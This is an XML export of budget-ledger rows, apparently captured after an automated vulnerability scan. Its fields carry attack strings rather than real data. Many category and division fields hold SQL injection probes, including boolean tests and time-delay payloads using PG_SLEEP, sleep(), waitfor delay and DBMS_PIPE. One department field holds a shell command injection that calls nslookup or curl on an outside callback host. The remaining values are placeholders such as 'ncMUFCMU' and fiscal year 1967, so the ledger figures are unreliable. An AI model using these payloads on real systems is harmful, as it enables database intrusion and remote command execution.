<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=26 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102NjR9K5I4' OR 281=(SELECT 281 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102Out5bAoC') OR 644=(SELECT 644 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102����%2527%2522\'\"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=25 or 'EYEhjs8U'='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=26 or 'EYEhjs8U'='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=25 or "llwXRXnf"="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=26 or "llwXRXnf"="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102*if(now()=sysdate(),sleep(15),0)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941020'XOR(94102*if(now()=sysdate(),sleep(15),0))XOR'Z</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941020"XOR(94102*if(now()=sysdate(),sleep(15),0))XOR"Z</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1; waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1 waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1)) OR 356=(SELECT 356 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102ZRraH2y3')) OR 893=(SELECT 893 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>@@nRjYW</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select 198766*667891)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select 198766*667891 from DUAL)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitqthogrpjtyeea17.bxss.me||curl${IFS}hitqthogrpjtyeea17.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitqthogrpjtyeea17.bxss.me||curl${IFS}hitqthogrpjtyeea17.bxss.me)&amp;`'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1 OR 5*5=26 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1 OR 5*5=25</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1" OR 5*5=25 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1" OR 5*5=26 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1); waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102X0Pkdze4'; waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1 OR 60=(SELECT 60 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1) OR 830=(SELECT 830 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
